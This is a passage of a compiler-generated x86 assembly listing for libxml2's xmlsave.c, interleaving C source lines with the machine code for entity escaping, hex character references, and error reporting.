mov esi, eax
; 340 : if ((xmlTreeIndentString == NULL) || (len == 0)) {
call ___xmlTreeIndentString
cmp DWORD PTR [eax], 0
je SHORT $LN9@xmlSaveCtx
test esi, esi
je SHORT $LN9@xmlSaveCtx
; 342 : } else {
; 343 : ctxt->indent_size = len;
; 344 : ctxt->indent_nr = MAX_INDENT / ctxt->indent_size;
mov eax, 60 ; 0000003cH
mov DWORD PTR [edi+112], esi
cdq
idiv esi
push ebx
; 345 : for (i = 0;i < ctxt->indent_nr;i++)
xor ebx, ebx
mov DWORD PTR [edi+108], eax
test eax, eax
jle SHORT $LN15@xmlSaveCtx
$LL4@xmlSaveCtx:
; 346 : memcpy(&ctxt->indent[i * ctxt->indent_size], xmlTreeIndentString,
mov esi, DWORD PTR [edi+112]
call ___xmlTreeIndentString
push esi
push DWORD PTR [eax]
mov eax, DWORD PTR [edi+112]
imul eax, ebx
add eax, 44 ; 0000002cH
add eax, edi
push eax
call _memcpy
mov eax, DWORD PTR [edi+108]
inc ebx
add esp, 12 ; 0000000cH
cmp ebx, eax
jl SHORT $LL4@xmlSaveCtx
mov esi, DWORD PTR [edi+112]
$LN15@xmlSaveCtx:
; 347 : ctxt->indent_size);
; 348 : ctxt->indent[ctxt->indent_nr * ctxt->indent_size] = 0;
imul eax, esi
pop ebx
mov BYTE PTR [eax+edi+44], 0
jmp SHORT $LN8@xmlSaveCtx
$LN9@xmlSaveCtx:
; 341 : memset(&ctxt->indent[0], 0, MAX_INDENT + 1);
push 61 ; 0000003dH
lea eax, DWORD PTR [edi+44]
push 0
push eax
call _memset
add esp, 12 ; 0000000cH
$LN8@xmlSaveCtx:
; 349 : }
; 350 :
; 351 : if (xmlSaveNoEmptyTags) {
call ___xmlSaveNoEmptyTags
pop esi
cmp DWORD PTR [eax], 0
je SHORT $LN10@xmlSaveCtx
; 352 : ctxt->options |= XML_SAVE_NO_EMPTY;
or DWORD PTR [edi+32], 4
$LN10@xmlSaveCtx:
pop edi
; 353 : }
; 354 : }
pop ebp
ret 0
_xmlSaveCtxtInit ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlsave.c
; COMDAT _xmlEscapeEntities
_TEXT SEGMENT
_inend$1$ = -12 ; size = 4
_outend$1$ = -8 ; size = 4
_outstart$1$ = -4 ; size = 4
$T1 = 8 ; size = 4
_out$ = 8 ; size = 4
_outlen$ = 12 ; size = 4
_base$1$ = 16 ; size = 4
_in$ = 16 ; size = 4
_inlen$ = 20 ; size = 4
_xmlEscapeEntities PROC ; COMDAT
; 209 : const xmlChar* in, int *inlen) {
push ebp
mov ebp, esp
sub esp, 12 ; 0000000cH
push ebx
push esi
push edi
mov ecx, OFFSET __BAD788A4_xmlsave@c
call @__CheckForDebuggerJustMyCode@4
mov eax, DWORD PTR _outlen$[ebp]
mov ebx, DWORD PTR _in$[ebp]
mov esi, DWORD PTR _out$[ebp]
mov DWORD PTR _outstart$1$[ebp], esi
mov edx, DWORD PTR [eax]
mov eax, DWORD PTR _inlen$[ebp]
add edx, esi
mov DWORD PTR _base$1$[ebp], ebx
mov DWORD PTR _outend$1$[ebp], edx
mov edi, DWORD PTR [eax]
add edi, ebx
mov DWORD PTR _inend$1$[ebp], edi
cmp ebx, edi
jae $LN69@xmlEscapeE
npad 5
$LL2@xmlEscapeE:
; 210 : unsigned char* outstart = out;
; 211 : const unsigned char* base = in;
; 212 : unsigned char* outend = out + *outlen;
; 213 : const unsigned char* inend;
; 214 : int val;
; 215 :
; 216 : inend = in + (*inlen);
; 217 :
; 218 : while ((in < inend) && (out < outend)) {
cmp esi, edx
jae $LN69@xmlEscapeE
; 219 : if (*in == '<') {
mov cl, BYTE PTR [ebx]
cmp cl, 60 ; 0000003cH
jne SHORT $LN4@xmlEscapeE
; 220 : if (outend - out < 4) break;
mov eax, edx
sub eax, esi
cmp eax, 4
jl $LN69@xmlEscapeE
; 221 : *out++ = '&';
mov DWORD PTR [esi], 997485606 ; 3b746c26H
; 222 : *out++ = 'l';
; 223 : *out++ = 't';
; 224 : *out++ = ';';
add esi, 4
; 225 : in++;
; 226 : continue;
jmp $LN70@xmlEscapeE
$LN4@xmlEscapeE:
; 227 : } else if (*in == '>') {
cmp cl, 62 ; 0000003eH
jne SHORT $LN7@xmlEscapeE
; 228 : if (outend - out < 4) break;
mov eax, edx
sub eax, esi
cmp eax, 4
jl $LN69@xmlEscapeE
; 229 : *out++ = '&';
mov DWORD PTR [esi], 997484326 ; 3b746726H
; 230 : *out++ = 'g';
; 231 : *out++ = 't';
; 232 : *out++ = ';';
add esi, 4
; 233 : in++;
; 234 : continue;
jmp $LN70@xmlEscapeE
$LN7@xmlEscapeE:
; 235 : } else if (*in == '&') {
cmp cl, 38 ; 00000026H
jne SHORT $LN10@xmlEscapeE
; 236 : if (outend - out < 5) break;
mov eax, edx
sub eax, esi
cmp eax, 5
jl $LN69@xmlEscapeE
; 237 : *out++ = '&';
mov DWORD PTR [esi], 1886216486 ; 706d6126H
; 238 : *out++ = 'a';
; 239 : *out++ = 'm';
; 240 : *out++ = 'p';
; 241 : *out++ = ';';
mov BYTE PTR [esi+4], 59 ; 0000003bH
add esi, 5
; 242 : in++;
; 243 : continue;
jmp $LN70@xmlEscapeE
$LN10@xmlEscapeE:
; 244 : } else if (((*in >= 0x20) && (*in < 0x80)) ||
; 245 : (*in == '\n') || (*in == '\t')) {
cmp cl, 32 ; 00000020H
jb SHORT $LN16@xmlEscapeE
cmp cl, 128 ; 00000080H
jb $LN15@xmlEscapeE
$LN16@xmlEscapeE:
cmp cl, 10 ; 0000000aH
je $LN15@xmlEscapeE
cmp cl, 9
je $LN15@xmlEscapeE
; 250 : continue;
; 251 : } else if (*in >= 0x80) {
cmp cl, 128 ; 00000080H
jb $LN17@xmlEscapeE
; 252 : /*
; 253 : * We assume we have UTF-8 input.
; 254 : */
; 255 : if (outend - out < 11) break;
mov eax, edx
sub eax, esi
cmp eax, 11 ; 0000000bH
jl $LN69@xmlEscapeE
; 256 :
; 257 : if (*in < 0xC0) {
cmp cl, 192 ; 000000c0H
jb $LN57@xmlEscapeE
; 261 : } else if (*in < 0xE0) {
cmp cl, 224 ; 000000e0H
jae SHORT $LN22@xmlEscapeE
; 262 : if (inend - in < 2) break;
mov eax, edi
sub eax, ebx
cmp eax, 2
jl $LN69@xmlEscapeE
; 263 : val = (in[0]) & 0x1F;
; 264 : val <<= 6;
; 265 : val |= (in[1]) & 0x3F;
movzx eax, BYTE PTR [ebx+1]
; 266 : in += 2;
mov edi, 2
movzx ecx, cl
and ecx, 31 ; 0000001fH
mov DWORD PTR $T1[ebp], 3
jmp SHORT $LN71@xmlEscapeE
$LN22@xmlEscapeE:
; 267 : } else if (*in < 0xF0) {
cmp cl, 240 ; 000000f0H
jae SHORT $LN25@xmlEscapeE
; 268 : if (inend - in < 3) break;
mov eax, edi
sub eax, ebx
cmp eax, 3
jl $LN69@xmlEscapeE
; 269 : val = (in[0]) & 0x0F;
; 270 : val <<= 6;
; 271 : val |= (in[1]) & 0x3F;
; 272 : val <<= 6;
; 273 : val |= (in[2]) & 0x3F;
movzx eax, BYTE PTR [ebx+1]
; 274 : in += 3;
mov edi, 3
movzx ecx, cl
and eax, 63 ; 0000003fH
and ecx, 15 ; 0000000fH
mov DWORD PTR $T1[ebp], 4
shl ecx, 6
or ecx, eax
movzx eax, BYTE PTR [ebx+2]
jmp SHORT $LN71@xmlEscapeE
$LN25@xmlEscapeE:
; 275 : } else if (*in < 0xF8) {
cmp cl, 248 ; 000000f8H
jae $LN28@xmlEscapeE
; 276 : if (inend - in < 4) break;
mov eax, edi
sub eax, ebx
cmp eax, 4
jl $LN69@xmlEscapeE
; 277 : val = (in[0]) & 0x07;
; 278 : val <<= 6;
; 279 : val |= (in[1]) & 0x3F;
; 280 : val <<= 6;
; 281 : val |= (in[2]) & 0x3F;
; 282 : val <<= 6;
; 283 : val |= (in[3]) & 0x3F;
movzx eax, BYTE PTR [ebx+1]
; 284 : in += 4;
mov edi, 4
movzx ecx, cl
and eax, 63 ; 0000003fH
and ecx, 7
mov DWORD PTR $T1[ebp], 5
shl ecx, 6
or ecx, eax
movzx eax, BYTE PTR [ebx+2]
and eax, 63 ; 0000003fH
shl ecx, 6
or ecx, eax
movzx eax, BYTE PTR [ebx+3]
$LN71@xmlEscapeE:
; 289 : }
; 290 : if (!IS_CHAR(val)) {
and eax, 63 ; 0000003fH
shl ecx, 6
or ecx, eax
cmp ecx, 256 ; 00000100H
jae SHORT $LN46@xmlEscapeE
cmp ecx, 9
jb SHORT $LN38@xmlEscapeE
cmp ecx, 10 ; 0000000aH
jbe SHORT $LN33@xmlEscapeE
$LN38@xmlEscapeE:
cmp ecx, 13 ; 0000000dH
je SHORT $LN33@xmlEscapeE
cmp ecx, 32 ; 00000020H
jae SHORT $LN33@xmlEscapeE
$LN61@xmlEscapeE:
; 291 : xmlSaveErr(XML_SAVE_CHAR_INVALID, NULL, NULL);
push 0
push 0
push 1401 ; 00000579H
call _xmlSaveErr
add esp, 12 ; 0000000cH
; 292 : in++;
add ebx, DWORD PTR $T1[ebp]
; 293 : goto error;
jmp $error$74
$LN46@xmlEscapeE:
; 289 : }
; 290 : if (!IS_CHAR(val)) {
cmp ecx, 55295 ; 0000d7ffH
jbe SHORT $LN33@xmlEscapeE
cmp ecx, 57344 ; 0000e000H
jb SHORT $LN41@xmlEscapeE
cmp ecx, 65533 ; 0000fffdH
jbe SHORT $LN33@xmlEscapeE
$LN41@xmlEscapeE:
lea eax, DWORD PTR [ecx-65536]
cmp eax, 1048575 ; 000fffffH
ja SHORT $LN61@xmlEscapeE
; 305 : "xmlEscapeEntities : char out of range\n");
; 306 : in++;
; 307 : goto error;
; 308 : }
; 309 : }
push ecx
push esi
call _xmlSerializeHexCharRef
mov edx, DWORD PTR _outend$1$[ebp]
add esp, 8
mov esi, eax
jmp SHORT $LN63@xmlEscapeE
$LN17@xmlEscapeE:
; 294 : }
; 295 :
; 296 : /*
; 297 : * We could do multiple things here. Just save as a char ref
; 298 : */
; 299 : out = xmlSerializeHexCharRef(out, val);
; 300 : } else if (IS_BYTE_CHAR(*in)) {
cmp cl, 9
jb SHORT $LN35@xmlEscapeE
cmp cl, 10 ; 0000000aH
jbe SHORT $LN34@xmlEscapeE
$LN35@xmlEscapeE:
cmp cl, 13 ; 0000000dH
je SHORT $LN34@xmlEscapeE
cmp cl, 32 ; 00000020H
jb SHORT $LN32@xmlEscapeE
$LN34@xmlEscapeE:
; 301 : if (outend - out < 6) break;
mov eax, edx
sub eax, esi
cmp eax, 6
jl SHORT $LN69@xmlEscapeE
; 302 : out = xmlSerializeHexCharRef(out, *in++);
movzx ecx, cl
mov edi, 1
$LN33@xmlEscapeE:
; 305 : "xmlEscapeEntities : char out of range\n");
; 306 : in++;
; 307 : goto error;
; 308 : }
; 309 : }
push ecx
push esi
call _xmlSerializeHexCharRef
mov edx, DWORD PTR _outend$1$[ebp]
add esp, 8
mov esi, eax
jmp SHORT $LN63@xmlEscapeE
$LN15@xmlEscapeE:
; 246 : /*
; 247 : * default case, just copy !
; 248 : */
; 249 : *out++ = *in++;
mov BYTE PTR [esi], cl
inc esi
$LN70@xmlEscapeE:
; 210 : unsigned char* outstart = out;
; 211 : const unsigned char* base = in;
; 212 : unsigned char* outend = out + *outlen;
; 213 : const unsigned char* inend;
; 214 : int val;
; 215 :
; 216 : inend = in + (*inlen);
; 217 :
; 218 : while ((in < inend) && (out < outend)) {
mov edi, 1
$LN63@xmlEscapeE:
add ebx, edi
mov edi, DWORD PTR _inend$1$[ebp]
cmp ebx, edi
jb $LL2@xmlEscapeE
$LN69@xmlEscapeE:
; 310 : *outlen = out - outstart;
mov eax, DWORD PTR _outlen$[ebp]
sub esi, DWORD PTR _outstart$1$[ebp]
; 311 : *inlen = in - base;
sub ebx, DWORD PTR _base$1$[ebp]
pop edi
mov DWORD PTR [eax], esi
mov eax, DWORD PTR _inlen$[ebp]
; 316 : return(-1);
; 317 : }
pop esi
mov DWORD PTR [eax], ebx
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0
$LN28@xmlEscapeE:
; 285 : } else {
; 286 : xmlSaveErr(XML_SAVE_CHAR_INVALID, NULL, NULL);
push 0
push 0
push 1401 ; 00000579H
call _xmlSaveErr
add esp, 12 ; 0000000cH
; 287 : in++;
; 288 : goto error;
jmp SHORT $LN72@xmlEscapeE
$LN57@xmlEscapeE:
; 258 : xmlSaveErr(XML_SAVE_NOT_UTF8, NULL, NULL);
push 0
push 0
push 1400 ; 00000578H
call _xmlSaveErr
add esp, 12 ; 0000000cH
; 259 : in++;
; 260 : goto error;
jmp SHORT $LN72@xmlEscapeE
$LN32@xmlEscapeE:
; 303 : } else {
; 304 : xmlGenericError(xmlGenericErrorContext,
call ___xmlGenericError
mov edi, eax
call ___xmlGenericErrorContext
push OFFSET ??_C@_0CH@EAFIMPAL@xmlEscapeEntities?5?3?5char?5out?5of@
push DWORD PTR [eax]
mov eax, DWORD PTR [edi]
call eax
add esp, 8
$LN72@xmlEscapeE:
; 312 : return(0);
; 313 : error:
; 314 : *outlen = out - outstart;
inc ebx
$error$74:
mov eax, DWORD PTR _outlen$[ebp]
sub esi, DWORD PTR _outstart$1$[ebp]
; 315 : *inlen = in - base;
sub ebx, DWORD PTR _base$1$[ebp]
pop edi
mov DWORD PTR [eax], esi
mov eax, DWORD PTR _inlen$[ebp]
; 316 : return(-1);
; 317 : }
pop esi
mov DWORD PTR [eax], ebx
or eax, -1
pop ebx
mov esp, ebp
pop ebp
ret 0
_xmlEscapeEntities ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlsave.c
; COMDAT _xmlSerializeHexCharRef
_TEXT SEGMENT
_out$ = 8 ; size = 4
_val$ = 12 ; size = 4
_xmlSerializeHexCharRef PROC ; COMDAT
; 152 : xmlSerializeHexCharRef(unsigned char *out, int val) {
push ebp
mov ebp, esp
mov ecx, OFFSET __BAD788A4_xmlsave@c
call @__CheckForDebuggerJustMyCode@4
mov ecx, DWORD PTR _out$[ebp]
mov edx, DWORD PTR _val$[ebp]
mov WORD PTR [ecx], 8998 ; 00002326H
mov BYTE PTR [ecx+2], 120 ; 00000078H
add ecx, 3
cmp edx, 16 ; 00000010H
jl SHORT $LN15@xmlSeriali
; 153 : unsigned char *ptr;
; 154 :
; 155 : *out++ = '&';
; 156 : *out++ = '#';
; 157 : *out++ = 'x';
; 158 : if (val < 0x10) ptr = out;
; 159 : else if (val < 0x100) ptr = out + 1;
cmp edx, 256 ; 00000100H
jge SHORT $LN8@xmlSeriali
inc ecx
jmp SHORT $LN15@xmlSeriali
$LN8@xmlSeriali:
; 160 : else if (val < 0x1000) ptr = out + 2;
cmp edx, 4096 ; 00001000H
jge SHORT $LN10@xmlSeriali
add ecx, 2
jmp SHORT $LN15@xmlSeriali
$LN10@xmlSeriali:
; 161 : else if (val < 0x10000) ptr = out + 3;
cmp edx, 65536 ; 00010000H
jge SHORT $LN12@xmlSeriali
add ecx, 3
jmp SHORT $LN15@xmlSeriali
$LN12@xmlSeriali:
; 162 : else if (val < 0x100000) ptr = out + 4;
cmp edx, 1048576 ; 00100000H
jge SHORT $LN14@xmlSeriali
add ecx, 4
jmp SHORT $LN15@xmlSeriali
$LN14@xmlSeriali:
; 163 : else ptr = out + 5;
add ecx, 5
$LN15@xmlSeriali:
push esi
; 164 : out = ptr + 1;
lea esi, DWORD PTR [ecx+1]
; 165 : while (val > 0) {
test edx, edx
jle SHORT $LN3@xmlSeriali
push edi
$LL2@xmlSeriali:
; 166 : switch (val & 0xF) {
mov eax, edx
and eax, 15 ; 0000000fH
jmp DWORD PTR $LN39@xmlSeriali[eax*4]
$LN17@xmlSeriali:
; 167 : case 0: *ptr-- = '0'; break;
; 168 : case 1: *ptr-- = '1'; break;
mov BYTE PTR [ecx], 49 ; 00000031H
jmp SHORT $LN4@xmlSeriali
$LN18@xmlSeriali:
; 169 : case 2: *ptr-- = '2'; break;
mov BYTE PTR [ecx], 50 ; 00000032H
jmp SHORT $LN4@xmlSeriali
$LN19@xmlSeriali:
; 170 : case 3: *ptr-- = '3'; break;
mov BYTE PTR [ecx], 51 ; 00000033H
jmp SHORT $LN4@xmlSeriali
$LN20@xmlSeriali:
; 171 : case 4: *ptr-- = '4'; break;
mov BYTE PTR [ecx], 52 ; 00000034H
jmp SHORT $LN4@xmlSeriali
$LN21@xmlSeriali:
; 172 : case 5: *ptr-- = '5'; break;
mov BYTE PTR [ecx], 53 ; 00000035H
jmp SHORT $LN4@xmlSeriali
$LN22@xmlSeriali:
; 173 : case 6: *ptr-- = '6'; break;
mov BYTE PTR [ecx], 54 ; 00000036H
jmp SHORT $LN4@xmlSeriali
$LN23@xmlSeriali:
; 174 : case 7: *ptr-- = '7'; break;
mov BYTE PTR [ecx], 55 ; 00000037H
jmp SHORT $LN4@xmlSeriali
$LN24@xmlSeriali:
; 175 : case 8: *ptr-- = '8'; break;
mov BYTE PTR [ecx], 56 ; 00000038H
jmp SHORT $LN4@xmlSeriali
$LN25@xmlSeriali:
; 176 : case 9: *ptr-- = '9'; break;
mov BYTE PTR [ecx], 57 ; 00000039H
jmp SHORT $LN4@xmlSeriali
$LN26@xmlSeriali:
; 177 : case 0xA: *ptr-- = 'A'; break;
mov BYTE PTR [ecx], 65 ; 00000041H
jmp SHORT $LN4@xmlSeriali
$LN27@xmlSeriali:
; 178 : case 0xB: *ptr-- = 'B'; break;
mov BYTE PTR [ecx], 66 ; 00000042H
jmp SHORT $LN4@xmlSeriali
$LN28@xmlSeriali:
; 179 : case 0xC: *ptr-- = 'C'; break;
mov BYTE PTR [ecx], 67 ; 00000043H
jmp SHORT $LN4@xmlSeriali
$LN29@xmlSeriali:
; 180 : case 0xD: *ptr-- = 'D'; break;
mov BYTE PTR [ecx], 68 ; 00000044H
jmp SHORT $LN4@xmlSeriali
$LN30@xmlSeriali:
; 181 : case 0xE: *ptr-- = 'E'; break;
mov BYTE PTR [ecx], 69 ; 00000045H
jmp SHORT $LN4@xmlSeriali
$LN31@xmlSeriali:
; 182 : case 0xF: *ptr-- = 'F'; break;
mov BYTE PTR [ecx], 70 ; 00000046H
jmp SHORT $LN4@xmlSeriali
$LN32@xmlSeriali:
; 183 : default: *ptr-- = '0'; break;
; 184 : }
; 185 : val >>= 4;
mov BYTE PTR [ecx], 48 ; 00000030H
$LN4@xmlSeriali:
sar edx, 4
dec ecx
test edx, edx
jg SHORT $LL2@xmlSeriali
pop edi
$LN3@xmlSeriali:
; 186 : }
; 187 : *out++ = ';';
mov WORD PTR [esi], 59 ; 0000003bH
; 188 : *out = 0;
; 189 : return(out);
lea eax, DWORD PTR [esi+1]
pop esi
; 190 : }
pop ebp
ret 0
$LN39@xmlSeriali:
DD $LN32@xmlSeriali
DD $LN17@xmlSeriali
DD $LN18@xmlSeriali
DD $LN19@xmlSeriali
DD $LN20@xmlSeriali
DD $LN21@xmlSeriali
DD $LN22@xmlSeriali
DD $LN23@xmlSeriali
DD $LN24@xmlSeriali
DD $LN25@xmlSeriali
DD $LN26@xmlSeriali
DD $LN27@xmlSeriali
DD $LN28@xmlSeriali
DD $LN29@xmlSeriali
DD $LN30@xmlSeriali
DD $LN31@xmlSeriali
_xmlSerializeHexCharRef ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlsave.c
; COMDAT _xmlSaveErr
_TEXT SEGMENT
_code$ = 8 ; size = 4
_node$ = 12 ; size = 4
_extra$ = 16 ; size = 4
_xmlSaveErr PROC ; COMDAT
; 124 : {
push ebp
mov ebp, esp
mov ecx, OFFSET __BAD788A4_xmlsave@c
call @__CheckForDebuggerJustMyCode@4
mov ecx, DWORD PTR _code$[ebp]
lea eax, DWORD PTR [ecx-1400]
cmp eax, 3
ja SHORT $LN8@xmlSaveErr
; 125 : const char *msg = NULL;
; 126 :
; 127 : switch(code) {
jmp DWORD PTR $LN11@xmlSaveErr[eax*4]
$LN4@xmlSaveErr:
; 128 : case XML_SAVE_NOT_UTF8:
; 129 : msg = "string is not in UTF-8\n";
; 130 : break;
; 131 : case XML_SAVE_CHAR_INVALID:
; 132 : msg = "invalid character value\n";
; 133 : break;
; 134 : case XML_SAVE_UNKNOWN_ENCODING:
; 135 : msg = "unknown encoding %s\n";
; 136 : break;
; 137 : case XML_SAVE_NO_DOCTYPE:
; 138 : msg = "document has no DOCTYPE\n";
; 139 : break;
; 140 : default:
; 141 : msg = "unexpected error number\n";
; 142 : }
; 143 : __xmlSimpleError(XML_FROM_OUTPUT, code, node, msg, extra);
push DWORD PTR _extra$[ebp]
mov eax, OFFSET ??_C@_0BI@KDLJAAPA@string?5is?5not?5in?5UTF?98?6@
push eax
push DWORD PTR _node$[ebp]
push ecx
push 7
call ___xmlSimpleError
add esp, 20 ; 00000014H
; 144 : }
pop ebp
ret 0
$LN5@xmlSaveErr:
; 128 : case XML_SAVE_NOT_UTF8:
; 129 : msg = "string is not in UTF-8\n";
; 130 : break;
; 131 : case XML_SAVE_CHAR_INVALID:
; 132 : msg = "invalid character value\n";
; 133 : break;
; 134 : case XML_SAVE_UNKNOWN_ENCODING:
; 135 : msg = "unknown encoding %s\n";
; 136 : break;
; 137 : case XML_SAVE_NO_DOCTYPE:
; 138 : msg = "document has no DOCTYPE\n";
; 139 : break;
; 140 : default:
; 141 : msg = "unexpected error number\n";
; 142 : }
; 143 : __xmlSimpleError(XML_FROM_OUTPUT, code, node, msg, extra);
push DWORD PTR _extra$[ebp]
mov eax, OFFSET ??_C@_0BJ@HMEJBBPL@invalid?5character?5value?6@
push eax
push DWORD PTR _node$[ebp]
push ecx
push 7
call ___xmlSimpleError
add esp, 20 ; 00000014H
; 144 : }
pop ebp
ret 0
$LN6@xmlSaveErr:
; 128 : case XML_SAVE_NOT_UTF8:
; 129 : msg = "string is not in UTF-8\n";
; 130 : break;
; 131 : case XML_SAVE_CHAR_INVALID:
; 132 : msg = "invalid character value\n";
; 133 : break;
; 134 : case XML_SAVE_UNKNOWN_ENCODING:
; 135 : msg = "unknown encoding %s\n";
; 136 : break;
; 137 : case XML_SAVE_NO_DOCTYPE:
; 138 : msg = "document has no DOCTYPE\n";
; 139 : break;
; 140 : default:
; 141 : msg = "unexpected error number\n";
; 142 : }
; 143 : __xmlSimpleError(XML_FROM_OUTPUT, code, node, msg, extra);
push DWORD PTR _extra$[ebp]
mov eax, OFFSET ??_C@_0BF@CGOGPJKI@unknown?5encoding?5?$CFs?6@
push eax
push DWORD PTR _node$[ebp]
push ecx
push 7
call ___xmlSimpleError
add esp, 20 ; 00000014H
; 144 : }
pop ebp
ret 0
$LN7@xmlSaveErr:
; 128 : case XML_SAVE_NOT_UTF8:
; 129 : msg = "string is not in UTF-8\n";
; 130 : break;
; 131 : case XML_SAVE_CHAR_INVALID:
; 132 : msg = "invalid character value\n";
; 133 : break;
; 134 : case XML_SAVE_UNKNOWN_ENCODING:
; 135 : msg = "unknown encoding %s\n";
; 136 : break;
; 137 : case XML_SAVE_NO_DOCTYPE:
; 138 : msg = "document has no DOCTYPE\n";
; 139 : break;
; 140 : default:
; 141 : msg = "unexpected error number\n";
; 142 : }
; 143 : __xmlSimpleError(XML_FROM_OUTPUT, code, node, msg, extra);
push DWORD PTR _extra$[ebp]
mov eax, OFFSET ??_C@_0BJ@OKGKFHLI@document?5has?5no?5DOCTYPE?6@
push eax
push DWORD PTR _node$[ebp]
push ecx
push 7
call ___xmlSimpleError
add esp, 20 ; 00000014H
; 144 : }
pop ebp
ret 0
$LN8@xmlSaveErr:
; 128 : case XML_SAVE_NOT_UTF8:
; 129 : msg = "string is not in UTF-8\n";
; 130 : break;
; 131 : case XML_SAVE_CHAR_INVALID:
; 132 : msg = "invalid character value\n";
; 133 : break;
; 134 : case XML_SAVE_UNKNOWN_ENCODING:
; 135 : msg = "unknown encoding %s\n";
; 136 : break;
; 137 : case XML_SAVE_NO_DOCTYPE:
; 138 : msg = "document has no DOCTYPE\n";
; 139 : break;
; 140 : default:
; 141 : msg = "unexpected error number\n";
; 142 : }
; 143 : __xmlSimpleError(XML_FROM_OUTPUT, code, node, msg, extra);
push DWORD PTR _extra$[ebp]
mov eax, OFFSET ??_C@_0BJ@IPOHNFHE@unexpected?5error?5number?6@
push eax
push DWORD PTR _node$[ebp]
push ecx
push 7
call ___xmlSimpleError
add esp, 20 ; 00000014H
; 144 : }
pop ebp
ret 0
npad 1
$LN11@xmlSaveErr:
DD $LN4@xmlSaveErr
DD $LN5@xmlSaveErr
DD $LN7@xmlSaveErr
DD $LN6@xmlSaveErr
_xmlSaveErr ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlsave.c
; COMDAT _xmlSaveErrMemory
_TEXT SEGMENT
_extra$ = 8 ; size = 4
_xmlSaveErrMemory PROC ; COMDAT
; 110 : {
push ebp
mov ebp, esp
mov ecx, OFFSET __BAD788A4_xmlsave@c
call @__CheckForDebuggerJustMyCode@4
push DWORD PTR _extra$[ebp]
push 0
push 0
push 2
push 7
call ___xmlSimpleError
add esp, 20 ; 00000014H
; 111 : __xmlSimpleError(XML_FROM_OUTPUT, XML_ERR_NO_MEMORY, NULL, NULL, extra);
; 112 : }
pop ebp
ret 0
_xmlSaveErrMemory ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlsave.c
; COMDAT _xmlBufDumpEntityDecl
_TEXT SEGMENT
_buf$ = 8 ; size = 4
_ent$ = 12 ; size = 4
_xmlBufDumpEntityDecl PROC ; COMDAT
; 536 : xmlBufDumpEntityDecl(xmlBufPtr buf, xmlEntityPtr ent) {
push ebp
mov ebp, esp
push esi
mov ecx, OFFSET __BAD788A4_xmlsave@c
call @__CheckForDebuggerJustMyCode@4
call _xmlBufferCreate
mov esi, eax
test esi, esi
je SHORT $LN1@xmlBufDump
; 537 : xmlBufferPtr buffer;
; 538 :
; 539 : buffer = xmlBufferCreate();
; 540 : if (buffer == NULL) {
; 541 : /*
; 542 : * TODO set the error in buf
; 543 : */
; 544 : return;
; 545 : }
; 546 : xmlDumpEntityDecl(buffer, ent);
push DWORD PTR _ent$[ebp]
push esi
call _xmlDumpEntityDecl
; 547 : xmlBufMergeBuffer(buf, buffer);
push esi
push DWORD PTR _buf$[ebp]
call _xmlBufMergeBuffer
add esp, 16 ; 00000010H
$LN1@xmlBufDump:
pop esi
; 548 : }
pop ebp
ret 0
_xmlBufDumpEntityDecl ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlsave.c
; COMDAT _xmlBufDumpAttributeDecl
_TEXT SEGMENT
_buf$ = 8 ; size = 4
_attr$ = 12 ; size = 4
_xmlBufDumpAttributeDecl PROC ; COMDAT
; 514 : xmlBufDumpAttributeDecl(xmlBufPtr buf, xmlAttributePtr attr) {
push ebp
mov ebp, esp
push esi
mov ecx, OFFSET __BAD788A4_xmlsave@c
call @__CheckForDebuggerJustMyCode@4
call _xmlBufferCreate
mov esi, eax
test esi, esi
je SHORT $LN1@xmlBufDump
; 515 : xmlBufferPtr buffer;
; 516 :
; 517 : buffer = xmlBufferCreate();
; 518 : if (buffer == NULL) {
; 519 : /*
; 520 : * TODO set the error in buf
; 521 : */
; 522 : return;
; 523 : }
; 524 : xmlDumpAttributeDecl(buffer, attr);
push DWORD PTR _attr$[ebp]
push esi
call _xmlDumpAttributeDecl
; 525 : xmlBufMergeBuffer(buf, buffer);
push esi
push DWORD PTR _buf$[ebp]
call _xmlBufMergeBuffer
add esp, 16 ; 00000010H
$LN1@xmlBufDump:
pop esi
; 526 : }
pop ebp
ret 0
_xmlBufDumpAttributeDecl ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlsave.c
; COMDAT _xmlBufDumpElementDecl
_TEXT SEGMENT
_buf$ = 8 ; size = 4
_elem$ = 12 ; size = 4
_xmlBufDumpElementDecl PROC ; COMDAT
; 491 : xmlBufDumpElementDecl(xmlBufPtr buf, xmlElementPtr elem) {
push ebp
mov ebp, esp
push esi
mov ecx, OFFSET __BAD788A4_xmlsave@c
call @__CheckForDebuggerJustMyCode@4
call _xmlBufferCreate
mov esi, eax
test esi, esi
je SHORT $LN1@xmlBufDump
; 492 : xmlBufferPtr buffer;
; 493 :
; 494 : buffer = xmlBufferCreate();
; 495 : if (buffer == NULL) {
; 496 : /*
; 497 : * TODO set the error in buf
; 498 : */
; 499 : return;
; 500 : }
; 501 : xmlDumpElementDecl(buffer, elem);
push DWORD PTR _elem$[ebp]
push esi
call _xmlDumpElementDecl
; 502 : xmlBufMergeBuffer(buf, buffer);
push esi
push DWORD PTR _buf$[ebp]
call _xmlBufMergeBuffer
add esp, 16 ; 00000010H
$LN1@xmlBufDump:
pop esi
; 503 : }
pop ebp
ret 0
_xmlBufDumpElementDecl ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlsave.c
; COMDAT _xmlBufDumpNotationTable
_TEXT SEGMENT
_buf$ = 8 ; size = 4
_table$ = 12 ; size = 4
_xmlBufDumpNotationTable PROC ; COMDAT
